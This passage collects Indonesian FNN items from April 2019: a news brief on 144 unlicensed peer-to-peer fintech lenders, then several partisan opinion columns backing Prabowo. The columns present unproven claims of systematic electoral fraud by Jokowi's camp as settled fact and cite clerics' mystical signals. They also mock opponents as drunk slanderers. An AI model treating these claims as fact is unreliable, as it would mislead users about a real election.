Jakarta, FNN - Fintech ilegal yang meresahkan masyarakat terus bermunculan. Yang terbaru Satuan Tugas Penanganan Dugaan Tindakan Melawan Hukum di Bidang Penghimpunan Dana Masyarakat dan Pengelolaan Investasi atau Satgas Waspada Investasi kembali menemukan 144 entitas yang melakukan kegiatan usaha peer to peer lending namun tidak terdaftar atau memiliki izin usaha dari OJK. "Fintech ilegal banyak juga dari China. Kalau kita lihat servernya, kebanyakan dari Indonesia, banyak juga dari Amerika Serikat, Singapura dan Malaysia," ujar Ketua Satgas Waspada Investasi, Tongam L. Tobing kepada Kontan. ongam menyatakan terdapat beberapa faktor yang menyebabkan masih banyak fintech ilegal di Indonesia. Pertama, sangat mudah membuat aplikasi websitedengan kemajuan teknologi informasi saat ini. Kedua, pangsa pasar yang masih besar untuk pinjaman online di Indonesia. Ketiga, tingkat pengetahuan masyarakat mengenai fintech masih perlu ditingkatkan "Keempat, Memberikan kemudahan dalam pinjaman uang, walaupun pada dasarnya mereka mengenakan bunga, fee dan denda yang tinggi. OJK merespon perkembangan fintech ini dengan baik melalui POJK 77 tahun 2016, sehingga ada dasar hukum untuk fintech lending beroperasi di Indonesia," jelas Tongam. Kendati demikian, Tongam mengaku pihaknya terus menjalankan strategi memperkuat tindakan preventif dan represif. Tindakan preventif terutama edukasi ke masyarakat agar selalu berhubungan dengan fintech yang terdaftar di OJK. "Selain itu, kami juga secara rutin menyampaikan informasi ke masyarakat daftar fintech ilegal dan daftar fintech legal. Tindakan represif kepada fintech ilegal berupa pengumuman daftar fintech ilegal, blokir web dan aplikasi melalui Kemkominfo," papar Tongam. Selanjutnya Satnas juga melaporkan informasi fintech ilegal kepada Bareskrim. Juga meminta perbankan dan fintech payment system untuk tidak memfasilitasifintech lending ilegal. Asal tahu saja, hingga saat ini hanya terdapat 106 entitas fintech peer to peer lending yang terdaftar dan diawasi oleh OJK. (wid)

Waktunya Sudah Habis Pak Jokowi

Oleh : Hersubeno Arief Jakarta, FNN – Hanya ada satu kalimat yang paling tepat untuk menggambar kan dua peristiwa penting yang terjadi pada hari Kamis (11/4). “Waktunya sudah habis Pak Jokowi.” Menyerahlah dengan damai. Jangan menambah kesalahan. Ditemukannya puluhan ribu surat suara yang sudah tercoblos di Malaysia, dan dukungan para ulama kasyaf kepada Prabowo seperti disampaikan Ustad Abdul Somad, seharusnya bisa ditangkap sebagai isyarat alam “Pilpres sudah selesai.” Sulit untuk menjelaskan secara rasional dua fenomena ini, kecuali dengan pendekatan metafisik. Pendekatan ilahiah. Manusia boleh merancang, membuat skenario, melakukan konspirasi. Tetapi sebaik-baik rancangan manusia, skenario manusia, konspirasi manusia, rancangan Allah lah yang terbaik ( Wamakaruu, wamakarallah. Wallohu khoirul maakirin ). Melihat gelombang besar dukungan rakyat kepada Prabowo-Sandi, kecurangan adalah salah satu fitur terpenting yang tersisa bagi paslon 01 untuk memenangkan pilpres. Tak ada cara lain kecuali menggunakan itu. Sejauh ini fitur itu berjalan secara sistematis dan mulus. Mulai dari keanehan jutaan data pemilih tetap (DPT). Penyimpangan anggaran pemerintah melalui bansos dan CSR BUMN yang digunakan sebagai money politics. Pengerahan aparat intelijen dan kepolisian untuk menekan dan menggiring rakyat memilih paslon 01. Dan beraneka ragam kecurangan yang sulit diperinci satu persatu saking banyaknya. Semua berjalan mulus, tanpa bisa dicegah. Dengan kekuasaan di tangan, kontrol terhadap alat negara, terutama aparat keamanan, tak ada kekuatan yang bisa mencegah. Mereka bisa dengan cepat menutup kasus-kasus penyimpangan dan pelanggaran yang terjadi. Ketika peristiwanya muncul di publik, dengan kontrol media mereka dengan segera bisa membalikkan tuduhan sebagai fitnah dan kabar bohong, hoax! Namun tiba-tiba muncul kecurangan di Malaysia. Puluhan ribu surat suara sudah tercoblos pada bagian gambar paslon 01. Puluhan ribu surat suara sudah tercoblos pada nama caleg dari Nasdem, partai pendukung pemerintah. Surat suara atas nama anak Dubes RI di Malaysia Rusdi Kirana. Sebagai Dubes, petinggi PKB, pemilik Lion Air Group itu merupakan representasi dua kepentingan Jokowi. PKB adalah partai pendukung Jokowi, dan sebagai Dubes dia adalah perwakilan pemerintah di luar negeri. Pemerintah Indonesia, aparat keamanan Indonesia tidak bisa menutup-nutupinya. Semua itu diluar yuridiksi mereka. Kasusnya tidak bisa lagi di 86-kan. Sudah menjadi skandal yang menyebar ke seantero penjuru dunia. Sudah menjadi pemberitaan media asing. Di Jakarta tiba-tiba ulama kondang Ustad Abdul Somad (UAS) bertemu Prabowo. UAS dan Aa Gym seperti pengakuan mantan Ketua Umum PPP Romahurmuziy sudah berhasil ditundukkan dan dibuat netral. Melihat besarnya jamaah dan pengaruhnya posisi dua da’i kondang ini, pilihan politik mereka akan ikut menentukan ke mana umat akan melabuhkan suaranya. UAS tidak datang atas nama dirinya sendiri. Sebagaimana pengakuannya dia bertemu sejumlah ulama kasyaf, ulama yang diyakini hijabnya dengan Allah SWT sudah terbuka. Mereka ini bukan ulama yang masyhur, bukan ulama seleb yang sering muncul di televisi, maupun medsos. Ulama yang sangat menjaga kesuciannya dan sudah meninggalkan kehidupan dunia. “Semua membisikkan nama Prabowo,” ujar UAS. Video pertemuan UAS dengan Prabowo yang ditayangkan TV One itu langsung viral. Di Youtube, semua akun yang menayangkan video itu kebanjiran penonton. Jumlahnya mencapai jutaan view hanya dalam hitungan jam. Salah satu yang paling banyak mendapat komentar adalah sikap UAS yang minta tidak diundang ke istana Insya Allah setelah Prabowo terpilih. UAS minta jangan diberi jabatan apapun. Dia tetap ingin mengabdi berkhidmat kepada umat melalui jalur dakwah. UAS menunjukkan kelasnya jauh-jauh di atas deretan “ulama” yang berbaris di belakang paslon 01. Umat bisa langsung membedakan. Sikap UAS ini merupakan dukungan yang tulus, tanpa pamrih, sekaligus menunjukkan kelasnya sebagai ulama yang lurus dan tidak tergoda dengan masalah duniawi. Perpaduan antara terbongkarnya kecurangan di Malaysia dan dukungan para ulama kasyaf melalui UAS akan menjadi gelombang besar yang menggulung kekuatan paslon 01 dan para pendukungnya. Sejak tadi malam dapat dipastikan terjadi hijrah (migrasi) besar-besaran para pemilih. Kelompok-kelompok pemilih yang belum memutuskan ( undecided voters ), maupun pemilih Jokowi bukan garis keras ( soft voters ) langsung mengalihkan pilihannya melihat kecurangan di Malaysia. Mereka sangat marah melihat perilaku yang tidak terpuji semacam itu. Itu adalah bukti kuat yang tidak bisa dibantah. Tidak bisa ditutup-tutupi. Tidak bisa diplintir oleh media pendukung pemerintah. Bawaslu sudah mengakui ada kecurangan dan minta proses pemilu di Malaysia dihentikan. Pemilih muslim yang menjadi pengikut UAS dan semula masih ragu, juga langsung memantapkan pilihannya kepada Prabowo-Sandi. Gelombang hijrah Hijrah atau migrasi pemilih ini sesungguhnya sudah mulai terjadi dalam beberapa pekan terakhir. Di kawasan Indonesia Timur migrasi dimulai ketika klan keluarga Kalla dan Aksa menyatakan secara terbuka mendukung Prabowo. Di Jawa khususnya kawasan Mataraman (Yogya, Jateng, dan Jatim) migrasi pemilih besar-besaran juga terjadi seiiring sikap Sri Sultan HB X yang memberi signal mendukung Prabowo. Sejumlah tokoh berpengaruh dalam beberapa hari ini juga sudah memberi signal mendukung Prabowo. Mantan Sekjen Dephan Letjen TNI (Purn) Sjafrie Sjamsoeddin tampak hadir berbaur di tengah lautan massa di GBK. Selama ini jenderal ganteng dan kalem ini hanya diam dan terkesan tidak ingin melibatkan diri dalam hiruk pikuk politik. Namun berbagai statusnya di medsos dan kehadirannya di GBK sudah menjelaskan pilihan politiknya. Video mantan Menteri BUMN Dahlan Iskan sedang ngevlog bareng Mantan Sekjen BUMN Said Didu saat ini viral di medsos. Said Didu adalah seleb medsos yang menjadi penentang keras Jokowi. Hadirnya Dahlan Iskan di kubu Prabowo akan sangat berpengaruh besar pada perubahan kosntelasi suara di Jatim. Sebagai pendiri Kelompok Bisnis Jawa Pos Group Dahlan mempunyai pengaruh dan pendukung sangat besar di Jatim. Dalam sebuah wawancara di TV One mantan Panglima TNI Gatot Nurmantyo mengaku sejak perwira menengah dia sudah mengagumi dan mengidolakan Prabowo. Pernyataan ini bisa diartikan sebagai isyarat ke mana dia akan melabuhkan dukungannya. Gatot memiliki pendukung yang cukup besar. Dia sempat digadang-gadang menjadi capres altenatif poros ketiga. Dia memiliki sejumlah organisasi relawan di seluruh Indonesia. Relawan Gatot sudah lebih dulu mendukung Prabowo. Di luar mereka, sejumlah intelektual dan publik figur juga sudah lebih dulu menyatakan insyaf, dan bertobat karena mengaku salah memilih Jokowi. Jokowi sendiri sesungguhnya sudah membaca tanda-tanda itu. Pernyataannya dalam clossing statement debat keempat tentang “rantai sepeda putus” menunjukkan dia memahami apa yang tengah terjadi. Namun publik juga memahami, Jokowi bukanlah figur yang mandiri. Banyak kelompok kepentingan di seputar Jokowi yang selama ini mengontrolnya. Kelompok-kelompok oligarki inilah yang tidak mau kehilangan kenikmatan dan keuntungan politik bila sampai Jokowi kalah. Mereka belum mau menyerah dan memaksa Jokowi untuk terus bertempur sampai titik darah penghabisan. Mengerahkan segala cara, terutama kecurangan. Sekarang terpulang kepada Anda Pak Jokowi. Mau bersama rakyat, atau tetap memilih disetir para oligarki. Masih ada waktu yang tersisa. Mau mengakhiri jabatan dengan cara yang baik ( husnul khotimah ) atau akhir yang buruk ( su’ul khotimah ). Wis wayahe Pak. End

Demokrasi Kita Dalam Bahaya (Bagian II)

Oleh : Hersubeno Arief Jakarta, FNN - “Apakah Prabowo bisa menang?,” Pertanyaan itu muncul di jutaan benak publik Indonesia menggantikan pertanyaan sebelumnya “Apakah Prabowo menang Pilpres?.” Keyakinan bahwa Prabowo memenangkan Pilpres 2019 dan secara de facto Presiden RI 2019-2024 sudah selesai. Tidak ada keraguan sedikit pun di hati mayoritas rakyat Indonesia. Bukan hanya karena klaim sepihak kemenangan oleh Prabowo, namun fakta adanya kecurangan yang sangat massif di lapangan. Publik sudah sampai pada pemahaman yang sama “Kalau benar Jokowi menang seperti dikatakan oleh lembaga survei, mengapa harus melakukan kecurangan?,” Bukankah seharusnya Jokowi benar-benar menjaga pilpres dan proses penghitungan suara berlangsung secara adil, jujur, dan bersih. Dengan begitu kemenangannya tidak perlu lagi dipertanyakan. Tidak perlu diragukan dan ada sengketa hukum di Mahkamah Konstitusi. Sampai sejauh ini tidak ada satupun pernyataan Jokowi tentang perlunya menjaga kualitas pilpres dan pentingnya menyelamatkan demokrasi. Dia hanya diam membisu melihat banyaknya kecurangan di depan mata. Sikap maupun pernyataan Jokowi sama sekali tidak menunjukkan seorang kandidat yang baru saja memenangkan kontestasi sebagaimana coba dibangun dan didesakkan ke memori publik oleh lembaga survey melalui quick count. Yang terjadi Jokowi malah mengutus Luhut Binsar Panjaitan untuk mencoba bertemu Prabowo. Publik memahami melalui sang super minister, mastermindmencoba menawarkan deal-deal politik dengan Prabowo, karena posisinya sedang terdesak. Sebagai presiden yang tengah berkuasa, Jokowi tinggal memerintahkan birokrasi negara, Polri, kalau perlu melibatkan TNI untuk mengamankan pilpres dan hasilnya. Cegah semua kecurangan. Tangkap pelaku pencoblosan surat suara secara tidak sah. Tangkap siapapun yang melakukan kecurangan. Mulai dari petugas KPPS, oknum polisi, atau siapapun. Awasi penghitungan suara secara ketat, dan amankan semua proses penghitungan suara. Pada tanggal 22 Mei 2019, ketika selesai penghitungan suara, KPU melakukan pleno rekapitulasi suara, Jokowi sah secara legal dan formal menduduki kursi presiden untuk periode kedua. Setelah itu sebagai presiden terpilih, dia tinggal mengundang Prabowo ke istana, atau di tempat netral sebagai simbol rekonsiliasi nasional. Langkah yang sama juga pernah dia lakukan pada Pilpres 2014. Prabowo datang bertemu Jokowi di istana, Jokowi kemudian membalas kunjungan ke Hambalang, dan naik kuda bersama Prabowo. Case closed. Jokowi kembali menjadi presiden. Tinggal bagi-bagi jabatan dengan parpol pendukungnya. Bagi-bagi konsesi dengan kelompok oligarki pendukungnya. Rakyat Indonesia bisa kembali dininabobokan dengan janji-janji politiknya. Bagi-bagi kartu beraneka ragam, atau dibuat terpesona dengan pembangunan proyek infrastruktur megah hasil berutang dari pemerintah Cina. Bukankah seperti dikatakan oleh Luhut pada bulan April ini perjanjian proyek One belt, One road dengan pemerintah Cina akan segera ditandatangani di Beijing. Cacat sejak awal Pilpres kali ini, sudah cacat sejak awal. Cacat bawaan yang direncanakan secara cerdik, namun culas. Kecurangan sudah terjadi sejak mulai dari perencanaan, sebelum pelaksanaan, pada saat pelaksanaan, dan setelah selesai pelaksanaan. Karena itu tidak berlebihan bila banyak yang menyatakan telah terjadi kecurangan yang terstruktur, sistematis, dan massif (TSM). Target utamanya Jokowi terpilih kembali menjadi presiden, bagaimanapun caranya, dan berapapun harganya. At all cost. Termasuk bila harus mengorbankan demokrasi. Tahap pertama. Dari sisi perencanaan sudah terlihat ketika parpol pendukung pemerintah bekerja keras mati-matian membatasi jumlah capres. Mereka menggolkan aturan presidential threshold (PT) 20 persen kursi atau 25 persen total suara secara nasional sebagai syarat untuk parpol atau gabungan parpol dapat mengusung capres/cawapres. Dengan PT tersebut para pendukung utama Jokowi sudah bisa membatasi capres yang ada maksimal hanya tiga pasang. Sampai disitu para pendukung merasa belum aman. Mereka melangkah lebih jauh agar Jokowi dapat menjadi calon tunggal. Lagi-lagi Luhut Panjaitan, inang pengasuh Jokowi yang menjadi operator. Pada tanggal 6 April 2018 Luhut bertemu secara diam-diam dengan Prabowo di sebuah restorant di Hotel Grand Hyatt, Jakarta. Dalam pertemuan tersebut Luhut menawari Prabowo untuk menjadi cawapres Jokowi. Bila semua partai koalisi pendukung pemerintah bersatu ditambah Gerindra maka sulit bagi partai lain untuk mengusung capres sendiri. Tinggal Demokrat, PAN, dan PKS. Dari berbagai data survei yang mereka miliki, jika Jokowi dipasangkan dengan Prabowo, maka tidak ada lawan potensial yang bisa mengalahkannya. Dalam proses ini sejumlah lembaga survei sudah bekerja. Mereka membombardir publik dengan publikasi survei tingkat kepuasaan atas kinerja Jokowi sangat tinggi. Secara elektabilitas Jokowi juga tidak tertandingi. Di bawah Jokowi, yang mempunyai elektabilitas cukup lumayan hanya Prabowo. Publik dipaksa meyakini Jokowi satu-satunya capres yang dikehendaki rakyat. Gagal meyakinkan Prabowo, mereka berusaha mati-matian agar maksimal paslon yang maju hanya dua pasang. Andi Wijayanto ketua Cakra-9 —salah satu organisasi sayap pemenangan Jokowi— mengakui tugas itu berhasil mereka laksanakan. Mereka sukses menggergaji hak demokrasi rakyat dan memaksa pemilih hanya mempunyai dua pilihan : Jokowi atau Prabowo. Pada saat itu aparat kepolisian dan intelijen menekan gerakan #2019GantiPresiden. Salah satu inisiatornya Neno Warisman dikepung di Bandara Pekanbaru, Riau. Kepala Badan Intelijen Nasional (Kabinda) Riau terlibat dalam aksi itu. Targetnya gerakan ini tidak boleh membesar. Harus dikempesin. Sangat berbahaya bagi Jokowi. Tahap kedua, sebelum pelaksanaan. Kali ini yang menjadi operatornya adalah Kemendagri. Tiba-tiba mereka memasukan Daftar Pemilih Tetap (DPT) tambahan sebanyak 31 juta. Koalisi Indonesia Makmur yang mengusung Prabowo-Sandi mempersoalkannya dan menyebutnya sebagai DPT siluman. Namun Depdagri bersikeras bahwa tambahan DPT itu sudah termasuk dalam DPT sebanyak 196 juta pemilih. Dengan asumsi partisipasi pemilih sebesar 80 persen, maka DPT tambahan 31 juta, setara dengan 20 persen suara sah. Kisruh itu berlanjut dengan munculnya data DPT ivalid sebanyak 17,5 juta. Dengan bermain-main di DPT, Paslon 01 sudah punya spare suara “cadangan” yang sangat besar. Jumlahnya setidaknya setara dengan klaim kemenangan oleh lembaga survei sebesar 7-9 persen. Pada tahap ini semua aparat birokrasi pemerintah mulai dilibatkan. Mulai dari aparat kepolisian yang melakukan pendataan pemilih, penggelontoran anggaran Bansos, dan pembagian dana-dana CSR dari sejumlah BUMN, tekanan terhadap kepala desa, bahkan sampai RW dan RT. Tahap ketiga, pelaksanaan berupa eksekusi di lapangan. Pada tahap inilah kecurangan yang sangat massif dan terungkap di publik. Dimulai dari pencoblosan surat suara atas paslon 01 di Malaysia, pertugas KPPS mencoblos sendiri surat suara, Bawaslu menemukan ribuan petugas KPPS yang tidak netral, dan adanya 6,7 juta surat undangan yang tidak sampai ke tangan pemilih, banyaknya kertas suara yang tidak sampai, termasuk hilangnya TPS di wilayah yang diidentifikasi menjadi basis 02. Badan Pemenangan Nasional (BPN) Prabowo-Sandi melaporkan ada sebanyak 1.261 kecurangan. Jumlahnya akan terus bertambah. Tahap keempat, pasca pencoblosan. Modus juga sangat beragam. Mulai dari perusakan dan pembakaran kertas suara, adanya penggelembungan suara di tingkat PPK, mengganti hasil perolehan suara di C1, dan yang paling banyak adalah kesalahan input data di KPU pusat. Anehnya kesalahan input itu seragam. Suara paslon 01 bertambah, dan suara paslon 02 berkurang. Kesalahan itu diakui oleh komisioner KPU dan mereka berdalih ada kesalahan input. Melihat berbagai kecurangan yang terstruktur, sistematis, dan massif itu terlalu naif bila kemudian Paslon 02 dan pendukungnya hanya berpangku tangan, menunggu perhitungan suara selesai. Bila ada kecurangan di bawa ke jalur hukum melalui Mahkamah Konstitusi. Hasil akhirnya sudah bisa diduga. Dapat dipastikan gugatan itu akan dimentahkan. Mereka terlalu naif bila mengikuti alur permainan yang memang telah disiapkan oleh kubu paslon 01. Mulai dari lapangan bermain, siapa yang boleh bermain, aturan permainan, wasit dan pengawas pertandingan, termasuk penonton sudah ditentukan. Wasit dan pengawas pertandingan tidak segan-segan mengeluarkan penonton kubu Paslon 02 yang mempersoalkan kecurangan. Sebaliknya mereka diam saja ketika ada penonton dan pendukung paslon 01 ikut bermain dan mengacaukan permainan. Demokrasi kita dalam bahaya. Demokrasi kita sedang dibajak oleh kelompok oligarki yang ingin melanggengkan kekuasaan. Mereka memilih seorang penguasa yang lemah untuk didudukkan di singgasana, agar mereka bisa terus bermain secara leluasa, mengeksploitasi kekayaan alam Indonesia yang melimpah. Demokrasi kita harus diselamatkan. Rakyat harus menunjukkan kekuatannya. Tunjukkan kekuatan rakyat yang ingin menyelamatkan demokrasi. Jangan mau diprovokasi. Tunjukkan rakyat Indonesia cinta damai. Tunjukkan bahwa jutaan orang bisa berkumpul menyampaikan aspirasinya tanpa berbuat anarkis. Jutaan orang berkumpul secara damai, tertib, tak selembar rumputpun yang rebah. Aksi 411, 212, Reuni Akbar 212 sudah membuktikannya. Bawaslu tidak mungkin bertindak sendiri. Mereka harus didukung, dibantu, diperkuat. Mereka tidak akan mampu menghadapi kartel ekonomi dan politik yang dimainkan oleh oligarki. Para oligarki ini adalah deep state, negara dalam negara. Ini bukan soal kalah menang. Bukan soal Prabowo menjadi presiden atau tidak. Ini soal suara rakyat, soal kedaulatan rakyat yang dibajak. Sekali lagi DEMOKRASI KITA DALAM BAHAYA. End

Kecurangan Malaysia: Mesin Fitnah 01 Mau Salahkan 02

Oleh Asyari Usman Jakarta, FNN – Tulisan ini diturunkan untuk membantu agar kubu 01 bisa sejenak memulihkan fungsi ‘lobus frontalis’ (otak depan) mereka. Sebab, dalam kasus coblos illegal di Malaysia, mereka mencoba mengolah fakta di pabrik fitnah dan hoax mereka menjadi kesalahan orang lain. Alhamdulillah, kubu 02 sejauh ini terjaga dari segala perbuatan yang hina dan licik. Tak sempat lama mesin fitnah 01 berpikir. Berpikir bagaimana cara untuk membuang kotoran kecurangan licik yang terjadi di Malaysia. Langsung bertebaran meme ‘akal miras’ (akal minuman keras) mereka. Sambil mabuk, para pendukung 01 ingin mengalihkan substansi isu coblos illegal itu menjadi skenario 02. Demi persaudaraan dengan Anda, wahai para pendukung dan pembuat fitnah di kubu 01, saya bantu untuk menemukan logika kasus coblos curang itu. Mungkin Anda semua sedang sempoyangan akibat miras, tak bisa berpikir jernih. Tak rela mengakui kesalahan dan fakta. Untunglah ada Pak Masinton Pasaribu (orang penting 01) yang menyiramkan air penyadar ke muka Anda yang sedang mabuk itu. Mari kita telusuri pakai akal sehat, wahai para operator mesin fitnah jahat 01. Anda me-meme-kan bahwa orang 02 mencoblos sendiri, gerebek sendiri, teriak sendiri. Ini sama sekali tidak logis. Yang logis? Fakta 1: Pak Masinton (seorang pemuka 01 asal PDIP) mengatakan bahwa sindikat jual suara sudah berlangsung sejak lama di Malaysia. Pak Masinton mengatakan, dia sendiri ditawari ‘suara murah’ dari Malaysia, tetapi beliau tolak. Kalau ditarik ke belakang, ke pilpres 2014, berat dugaan kecurangan ini sudah dilakukan untuk memenangkan Pak Jokowi, waktu itu. Check list: ‘lobus fontalis’ Anda tak berfungsi. Fakta 2: Panitia Pemilihan Luar Negeri (PPLN) di Malaysia diawasi langsung oleh Wakil Duta Besar yang duduk sebagai anggota PPLN. Untuk Anda ketahui, anak Dubes Rusdy Kirana, yaitu Davin Kirana, adalah caleg NasDem dapil DKI. Bantuan logika untuk adalah: bagaimana mungkin ribuan surat suara itu bisa jatuh ke orang 02 untuk dicoblos fitnah, sementara PPLN Malaysia yang diawasi Wakil Dubes itu bekepentingan untuk menjaga Davin Kirana? Anda pikir Wakil Dubes yang duduk di PPLN itu berani melawan Dubes yang sangat dekat dengan Pak Jokowi? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 3: PPLN Malaysia menolak pendampingan kotak suara keliling (KSK) oleh petugas Bawaslu. Siapakah yang menolah itu? Tentu Wakil Dubes yang Dubesnya punya anak untuk dimenangkan di pileg DPRRI. Tidakkah Anda memiliki logika bahwa Wakil Dubes yang bertugas di PPLN itu punya pengaruh dan otoritas besar? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 4: Orang 02 menggerebek sendiri, memviralkannya sendiri. Bantuan logika untuk Anda adalah: apakah bisa diharapkan orang 01 melakukan penggerebekan yang tulus-ikhlas sehingga terbongkarlah coblos illegal untuk capres 01 dan caleg Davin Kirana? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 5: Sebagai presiden, capres 01 memiliki dan menikmati keistimewaan untuk menyalahgunakan kekuasaannya. Siapakah, menurut akal sehat kalian, yang paling mudah melakukan kecurangan pemilu? Jokowi yang punya Mendagri, Jokowi yang punya Kapolri, Jokowi yang punya Menteri BUMN, Jokowi juga yang punya Dubes di Malaysia. Mungkinkan Prabowo mengerahkan ASN, Polisi, jajaran BUMN, mengerahkan Dubes Rusdy Kirana? Check list: ‘lobus frontalis’ Anda tak berfungsi. Fakta 6: Sama dengan isu Ratna Sarumpaet? Come on, kawan. Semua orang yang waras paham bahwa Pak Prabowo dan seluruh kubu 02 tidak pernah mengatur kebohongan Ratna. Hanya hati busuk dan akal sempit kalian di 01 yang memaksakan agar kebohongan itu ditimpakan ke kubu 02. Biar kalian paham, rangkaian kampanye 01 dan dukungan untuk Jokowi menjadi hancur-berantakan gara-gara hati kalian yang sudah berulat itu. Chcek list: ‘lobus frontalis’ Anda tak berfungsi. NOTE: supaya kalian tidak bingung, ‘lobus frontalis’ adalah otak depan yang berfungsi menerima dan mengolah infomasi; membuat ‘reasoning’ yang sehat; memahami bahasa, merancang kreativitas, dan menilai sesuatu. Cukup ini saja dulu, wahai saudara-saudaraku di kubu 01. Kalau terlalu banyak, khawatir masa pulih otak depan Anda habis waktu. Supaya berimbang, mohon tuliskan fakta dan logika Anda. Tapi, mohon Anda tulis dalam keadaan bebas pengaruh zat ‘fitnatanol’. Yaitu, fitnah yang mengandung alkolol 57% (seperti survey LSI Denny JA). (Penulis adalah wartawan senior)

Debat Pamungkas Pasca Jokowi dan Nasdem “Menang Mutlak” di Ruko Malaysia

Oleh Sri Widodo Soetardjowijono Jakarta, FNN – Debat capres kelima yang digelar Sabtu, 13 April 2019 adalah debat pamungkas yang perlu disimak. Dari debat ini setidaknya bisa menjadi acuan siapa sesungguhnya yang layak menjadi pemimpin 5 tahun ke depan. Akan terlihat jelas pula siapa yang punya kapabilitas dan siapa yang jago memproduksi pencitraan. Jika kita saksikan dengan teliti, ada yang harus diwaspadai oleh capres cawapres Prabowo Sandi. Meski sudah bisa diraba siapa yang bakal unggul, namun mereka tetap harus hati-hati. Maklum, yang dihadapi capres unik dan luar biasa. Bisa dipastikan tabiat petahana dalam menjegal lawan debat akan terulang kembali. Mari kita lempar lamunan kita ke belakang, 5 tahun yang lalu. Publik masih ingat Debat Capres 2014, di mana pasangan Jokowi-Kalla “sukses” menjebak pertanyaan yang tak disangka oleh pasangan Prabowo Hatta, yakni tentang Piala Adipura. Capres Prabowo-Hatta kurang lengkap menjelaskan tentang Piala Adipura, lalu diperjelas oleh pasangan Jokowi-Kalla. Mereka hadir sebagai “ahli” Piala Adipura yang sesungguhnya sudah dihafal sebelumnya. Mereka berhasil “mempermalukan” pasangan Prabowo-Hatta di mimbar debat. Pola yang mereka lakukan adalah memberikan umpan pertanyaan yang diperkirakan lawan tidak tuntas menjawabnya lalu dijelaskan secara panjang lebar oleh pemberi umpan. Mereka menempatkan diri seakan-akan hebat dan menguasai masalah. Apalagi didukung Tim Hore yang ada di belakang pasangan andalannya itu sudah siap dengan celoteh, bunyi-bunyian, dan keplok-keplok. Bahkan, kalau diizinkan mereka akan membawa drum atau petasan. Mereka akan meneriaki dan membuat bising capres lawan, mana kala jawaban yang kurang pas. Mereka ingin menciptakan kesan bahwa pasangan Jokowi-Kalla adalah pasangan yang pintar dan pasangan Prabowo-Hatta adalah pasangan yang bodoh. Upaya ini berhasil didukung pula oleh pasukan buzer di media sosial yang menggorengnya setiap detik. Inilah kemenangan licik capres Jokowi-Kalla dalam debat capres tahun 2014. Agaknya pola ini berhasil mengelabuhi publik dan kini diulang dalam debat capres 2019. Lihat saja pada debat pertama 17 Januari 2019. Capres petahana mempersoalkan kuota perempuan di tubuh Partai Gerindra yang tidak konsisten. Pertanyaan yang sesungguhnya naif, sebab apa urusannya presiden dengan internal partai Gerindra. Ini debat capres bukan debat calon ketua umum partai. Namun demikian Prabowo menjawab dengan elegan bahwa tuduhan itu tidak benar. Di Gerindra, kata Prabowo pengurusnya banyak yang perempuan, bahkan ada sayap Perempuan Indonesia Raya. UU menyaratkan 30 persen kuota perempuan, tetapi di Gerindra bahkan hampir 40 persen. Mendengar penjelasan ini Jokowi tidak bisa membantahnya. Malah membandingkan dengan kabinet, bahwa baru kali ini menteri luar negeri dijabat perempuan. Serangan kembali dilancarkan pada debat capres kedua 17 Februari 2019, Joko Widodo bertanya infrastruktur apa yang akan dibangun Prabowo untuk mendukung unicorn yang ada di Indonesia. Jokowi tidak jelas menyebutkan kata unicorn, yang terdengar adalah yunikon. Oleh karena itu Prabowo mempertegas spellingyang benar dan bertanya balik “unicorn yang online-online itu?” Jokowi bilang iya, meski tampak ogah-ogahan menjawabnya. Prabowo tak mau terjebak dalam istilah yang tidak terdengar dengan jelas. Setelah jelas, ia kemudian menjawab dengan tuntas, apa yang ditanyakan Jokowi. Jokowi lalu menambahi apa yang sudah disampaikan Prabowo. Pada debat ketiga, 17 Maret 2019 giliran antarcawapres yang diadu. Pada segmen saling bertanya, cawapres 01 Kyai Marif mengajukan pertanyaan tentang stunting. Cawapres 02 Sandiaga Uno dengan cermat dan jelas memaparkan istilah stunting, di mana suatu kondisi kekurangan gizi kronis pada anak, yang sudah ada sejak dalam kandungan hingga masa awal anak lahir. Sandi menjelaskan masalah stunting di Indonesia sudah gawat darurat, di mana 2/3 anak kurang asupan gizi, oleh karena itu butuh kerja bersama antar-pemeritah dan masyarakat. Kyai Ma’ruf pun mengangguk-angguk pertanda mafhum mendengar jawaban Sandi. Strategi jebakan kembali dilontarkan oleh capres 01 Jokowi pada debat keempat, 30 Maret 2019. Jokowi mengajukan pertanyaan, “Pemerintah sedang menggalakkan Dilan (digital dan melayani). Apa yang Bapak ketahui tentang Mol Layanan Publik? Kalimat ini disampaikan dengan suara yang agak lirih. Waktu yang diberikan moderator adalah 2 menit, tetapi hanya dipakai sekitar 30 detik saja. Masih ada waktu 1,5 menit untuk membuat pertanyaan yang lebih jelas dan merangsang, tetapi tidak digunakan. Pun demikian cukup puas bagi Prabowo untuk memberi kuldum (kuliah dua menit) kepada Jokowi tentang layanan yang efektif dan efisien. Lagi-lagi Jokowi cuma menambahkan apa yang sudah dijelaskan Prabowo. Inilah bahaya laten debat, bisa muncul tiba-tiba dan menjebak. Mungkin mereka berharap lawan debat akan gelagapan dan terbata-bata dalam menjawab. Tahun 2014 Jokowi dan pasukannya boleh saja bangga dengan pola jebak-menjebak. Tapi di 2019 ini, taktik mereka gagal total, justru mereka yang terjebak, panik, gelagapan, dan vertigo akut. Kepanikan dimulai ketika massa kampanye pendukung 01 selalu miskin peserta. Panggung lengang dan bangku kosong menjadi pemandangan yang lumrah bagi kampanye Jokowi Maruf. Pada 09 April 2019, kampanye Jokowi di 3 tempat semua mengecewakan. Start dari Kerawang, Jawa Barat. Massanya hanya 2 ribuan. Dari Karawang dilanjutkan ke Bandung Di sini lebih menyedihkan lagi karena dari pagi sampai siang – menurut istilah urang Bandung, cuma check sound terus alias acara tidak dimulai karena massanya sedikit. Ketahuan sepi, Jokowi batal ke Bandung, ia kemudian melanjutkan kampanyenya ke Solo, Jawa Tengah. Eh Stadion Sriwedari cuma berisi sepertiganya. Kalah jauh dari kampanye Prabowo hari berikutnya, 10 April 2019. Di Padang Sumatera Barat, Jokowi juga takut datang. Ia gelagapan, lalu mengutus menteri pemilik dwi kwarganegaraan Archandra Tahar. Kehadiran Wamen ESDM pun tak manarik minat urang awak. Padahal ada 11 bupati yang dikerahkan. Di ibukota, tepatnya di GOR Ciracas Jakata Timur, kampanya Jokowi bikin spot jantung dan vertigo. Koran-koran menyebut kampanye sepi, sementara masyarakat sekitar menyebut GOR seperti rumah hantu. Wajar jika Hendropriyono, konon misuh-misuh. Semua tiba-tiba gelagapan, tak seindah yang dilukiskan di media sosial. Perjuangan 